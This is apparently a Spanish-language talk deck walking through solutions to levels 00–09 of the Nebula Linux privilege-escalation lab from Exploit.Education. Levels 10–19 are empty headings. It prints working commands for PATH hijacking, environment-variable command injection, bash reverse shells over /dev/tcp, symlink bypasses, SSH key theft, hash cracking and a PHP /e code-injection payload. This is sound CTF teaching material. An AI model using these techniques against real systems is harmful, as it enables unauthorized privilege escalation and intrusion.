Nebula from Exploit.Education

Tony Palma

About Me

Me dedico a la consultoría de TI, casado, 30 años.

- Aprender de seguridad
- Resolver retos (CTF)
- FLOSS
- **HackTheBox**
- *Disfrutar un buena taza de café*

Objetivo

Resolver 10 niveles de Nebula (Exploit.Education)

Pasos generales

1. Leer la documentación de Nebula en Exploit.Education
2. Descargar el iso de Nebula y montarla una VM
3. Leer la documentación de cada nivel
4. Acceder y escalar privilegios
5. Verificar con `getflag`

Exploit.Education

- Análisis de vulnerabilidades
- Desarrollo de *exploit's*
- Depuración de software
- Análisis de binarios
- Temas en general relacionados con ciberseguridad

Nebula

Nebula es en si una imagen **ISO** de un sistema operativo con vulnerabilidades simples e intermedias que tienen enfoque en:

- Escalación de privilegios en Linux
- Problemas comunes sobre scripts
- Condiciones de ejecución en el *file system*
- y más.

En general, es una muy buena maquina para comenzar a explorar (y explotar) vulnerabilidades de Linux.

ISO? Live?

Como mencione anteriormente, Nebula es una imagen ISO por lo que es necesario utilizar un hipervisor para poder ejecutarla. Al iniciar la Maquina Virtual, debemos considerar lo siguiente:

- Memoria: 1G
- vCores: 1 (x86_64)
- No requiere Hard Drive

Notas (1/2)

Antes de pasar al tema del hipervisor, tengo algunas notas que compartir:

- El usuario por defecto es **nebula:nebula**, usuario y password.
- El usuario `nebula` puede ser root en cualquier momento via `sudo -s`

Notas (2/2)

- Todos los usuarios donde nos enfocaremos tienen el nombre del nivel; level00, level01, etc.
- El objetivo de cada nivel es escalar de levelXX a flagXX; level00 hacia flag00
- Para cada usuario levelXX, su contraseña respectiva es levelXX
- Una vez que seamos flagXX para validar el nivel debemos ejecutar el comando `getflag` (nos indicara con un mensaje si hemos tenido éxito)

QEMU and KVM

En mi caso particular y como también ejercicio de aprendizaje, he utilizado qemu como hipervisor, ya que encentro estas rápidas ventajas:

- Un solo comando crea y cuando termina destruye la VM
- Asocio el proceso de la VM con un puerto en el host, que hace NAT hacia el puerto SSH de la VM (Vault)

Download and run

```
$ wget https://github.com/ExploitEducation/Nebula/releases/download/v5.0.0/exploit-exercises-nebula-5.i
$ sha1sum exploit-exercises-nebula-5.iso | grep e82f807be06100bf3e048f82e899fb1fecc24e3a
$ qemu-system-x86_64 -m 1024 -boot d -cdrom exploit-exercises-nebula-5.iso -vga std -enable-kvm -net ni
-net user,hostfwd=tcp::10022-:22
$ ssh nebula@localhost -p10022
```

Level00

Como este es el nivel inicial, el usuario / contraseña es **level00** / **level00**. La documentación que tenemos para el nivel 00 es:

Este nivel requiere que tu encuentres el programa con Set User ID que pueda ejecutar el usuario "flag00". Usted también podrá encontrar el programa, si observa detalladamente en las carpetas superiores en la raíz (/) en búsqueda de directorios sospechosos.

Como alternativa, puede revisar el manual de find.

Solution

```
$ find / -perm -4000 -user flag00 2>/dev/null
$ /bin/.../flag00
# getflag
```

La descripción del reto ya nos decía un poco acerca de donde seguir la pista, debíamos usar el comando `man` y buscar como usar `find` para que para encontrar el ejecutable con SUID de flag00 desde el directorio root hasta lo mas profundo que podamos. En mi caso mando todos los mensajes de error a */dev/null*

Level01

Ingresamos como user/pass, **level01/level01**, y nos movemos a la carpeta de /home/flag01, aquí debemos encontrar un binario que ha sido generado con el siguiente código:

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}
```

Solution

Como pudimos ver, el binario `/usr/bin/env` ejecuta confiando de las variables que hereda de el usuario que ejecuta el binario. El comando echo recibe los parámetros en forma de un string que mostrará en pantalla. Para resolver el nivel, abusamos de la variable $PATH que hereda de quien ejecuta el binario (geteuid, getegid) y cambiamos donde encontrara a `echo`. Para ello, `echo` sera un script de `bash` que ejecute bash interactivo (`bash -i`)

```
$ printf '#!/bin/bash\nbash -i' > /tmp/echo
$ PATH="/tmp/:$PATH" flag01
# getflag
```

Level02

El level02, es muy parecido a level01; accedemos con **level02/level02** y todo lo que necesitamos se encuentra en la carpeta `/home/flag02/`. Aquí encontraremos el binario del siguiente código fuente:

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}
```

Solution

Podemos notar que el binario tiene la parte de otorgar permisos al "ejecutante" de una manera parecida al reto anterior, sin embargo, en este problema tenemos una variable tipo string llamada buffer, dos funciones nuevas, *asprintf* y *getenv*, por lo que visitando el man rápidamente identificaremos que hace cada función.

Pronto nos daremos cuenta que podemos modificar el contenido de buffer a voluntad, ya que la variable USER, es una variable de entorno de level02. Ya que el contenido de USER se concatena después de echo, podemos hacer una llamada inyectando comandos en la variable:

```
$ USER=" ; bash -i; " ./flag02
# getflag
```

Level03

Para el level03, tenemos que ir al directorio de */home/flag03* y ahí encontraremos todo lo que necesitamos. Hemos de saber también que existe un cronjob trabajando en esta carpeta, por lo que hay que entender la mecánica de lo que sucede.

Solution

Para resolver este nivel, analizamos que existe un script que ejecuta lo que se encuentre en la carpeta que todos podemos escribir. Esto significa que cualquier cosa que deposite sera ejecutado por lo que dejaremos un script que realice invoque una shell reversa:

```
$ printf '#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/3001 0>&1' >
$ ncat -vnlp 3001
Wait...
# getflag
```

Level04

Para este nivel, necesitamos leer un archivo **token**, el cual se encuentra en */home/flag04* bajo la propiedad de flag04. Existe un programa que podemos ejecutar en dicha carpeta, del cual tenemos afortunadamente su código fuente:

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}
```

Solution

Podemos ver de primera mano en el código fuente, que el binario realiza unas cuantas evaluaciones:

1. Recibió solo un argumento?
2. El nombre del archivo que estoy recibiendo como argumento, contiene la palabra 'token'?
3. Puedo abrir el archivo en modo lectura?
4. Puedo leer el contenido del archivo?

Finalmente si se cumplen las condiciones, se imprime en el STDOUT el contenido del archivo.

Para realizar el bypass de esta protección, basta con aprovecharnos de una verificación en particular, que argumento no sea un archivo simbólico.

Como no podemos tocar el archivo en si, no podemos leerlo ni escribirlo ni ejecutarlo. Sin embargo, si podemos hacer un apuntador con el File System:

```
$ ln -s /home/flag04/token /tmp/miau
$ ./flag04
##########################
$ su - flag04
Password: ##########################
# getflag
```

Preguntas?

Level05

Para el level05, debemos buscar una mala asignación de permisos a los archivos y carpetas que están dentro de */home/flag05*.

Solution

En este nivel tenemos básicamente que explorar y tratar de no complicarnos:

```
$ ls -laR
...
$ tar xzvf .ssh/.backup/backup-19072011.tgz -C /tmp
...
$ cat /tmp/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
$ ssh -i /tmp/.ssh/id_rsa flag05@127.0.0.1
# getflag
```

Level06

Parece que las credenciales de **flag06** se encuentran en un formato legacy de unix. Hay que buscar como explotar este formato desde level06 hacia flag06.

Solution

Si hablamos de contraseña y sistemas *legacy*, seguramente passwd y shadow saben la respuesta:

```
$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
```

Ahora y después de una googleada (o `man passwd`), nos daremos cuenta que esto se trata de un hash DES. Exportemos y ataquemos el hash por fuerza bruta.

Este hash me lo he llevado afuera para romper con hashcat:

```
$ hashcat -a 0 -m 1500 ueqwOCnSGdsuM ~/wl/rockyou.txt --quiet
ueqwOCnSGdsuM:hello
```

Regresando a **nebula**:

```
$ su - flag06
Password: hello
# getflag
```

Level07

En el level07, tenemos que el usuario flag07 ha escribió una aplicación web para hacer ping y probar si un host es alcanzable. Afortunadamente nos hemos hecho con una copia de el programa que se ejecuta desde **flag07**.

```perl
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));
```

Solution

El código en si, nos da unas pistas interesantes. Básicamente el parámetro `$host`, determina la dirección en como el programa se va a comportar, por lo que después de preparar la ejecución vía nc y printf, podemos ingresar comandos en este argumento:

```
$ tmux
1$ nc -nvlp 3001
2$ printf 'GET /index.cgi?Host=%3Bbash%20-i%20%3E%26%20%2Fdev%2Ft
1# getflag
```

Level08

Para level08, debemos buscar en la carpeta */home/flag08* por archivos que nos permitan hacernos de la cuenta de flag08. Como recomendación, nos dicen que busquemos por archivos que cualquier usuario puede leer.

Solution

En el nivel08, tenemos el retorno de carpetas que cualquiera puede escribir. Encontramos un archivo PCAP que podemos afortunadamente leer, por lo que usamos `tcpdump -r` para que nos despliegue el contenido. Explorando el contenido de los paquetes encontraremos el string "Password:" seguido de varios caracteres que 1-1 iremos reestructurando hasta tener "backd00Rmate", el cual es la password del usuario flag08:

```
$ su - flag08
Password: backd00Rmate
# getflag
```

Para este nivel como pudimos ver, es indispensable estar observando la tabla ascii y detectar muy bien la ubicación del byte dentro del paquete donde esta el texto.

Level09

En el level09, encontraremos un programa escrito en C, que tiene la labor de ser el wrapper del siguiente código en php. Nuestro objetivo es usar todo lo que se encuentre disponible en */home/flag09* para escalar.

```php
<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>
```

Solution

Para solucionar este nivel, debemos entender primero la lógica del programa. Tenemos dos funciones que están enlazadas porque markup llama a spam. Markup inicia recibiendo dos argumentos, los mismos argumentos que recibe el programa. El primero se llama *filename* y el segundo _use_me_.

Filename es tratado como un nombre de archivo y su contenido es almacenado en la variable content.

Luego el contenido es procesado por un reemplazador de expresiones regulares, el cual tiene una característica interesante en el primer

argumento. Posterior al ultimo '/' tenemos una pequeña 'e'. Si revisamos la documentación, encontraremos rápidamente que php procesara el buffer sobre el patrón como si fuera código de php, lo cual nos abre la puerta a insertar cosas en el atributo de "email", las cuales serán procesadas como instrucciones de php.

```
$ printf "[email hola@miau.com]" > prueba.txt
$ ./flag09 prueba.txt use_me
```

Así seria su comportamiento normal, pero si modificamos el contenido de prueba.txt:

```
$ printf "[email $phpinfo()]" > prueba.txt
$ ./flag09 prueba.txt use_me
```

mmm no.

Probemos nuevamente pero ahora usando **use_me**.:

```
$ printf "[email {${system($use_me)}}]" > prueba.txt
$ ./flag09 prueba.txt getflag
```

Muchas gracias por asistir

¿Preguntas?

Level10

Solution

Level11

Solution

Level12

Solution


Level13

Solution

Level14

Solution

Level15

Solution

Level16

Solution


Level17

Solution

Level18

Solution

Level19

Solution

Muchas gracias por asistir

¿Preguntas?